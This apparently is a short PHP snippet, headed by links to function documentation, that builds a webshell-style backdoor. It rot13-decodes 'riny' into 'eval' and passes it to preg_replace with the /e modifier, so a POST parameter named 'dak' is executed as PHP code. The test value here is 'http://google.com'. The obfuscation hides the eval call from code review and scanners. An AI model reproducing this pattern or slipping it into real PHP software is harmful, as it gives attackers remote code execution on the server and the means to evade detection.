- var_dump: documentation ( source)
- str_rot13: documentation ( source)
- preg_replace: documentation ( source)
<?php
$_POST['dak'] = "http://google.com";
if(isset($_POST['dak'])){
var_dump(($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add'));
echo '@' . str_rot13('riny') . '($www)';
}